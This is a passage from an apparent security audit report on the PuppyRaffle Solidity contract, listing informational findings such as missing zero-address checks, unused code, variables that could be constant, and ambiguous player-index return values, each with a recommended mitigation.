                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.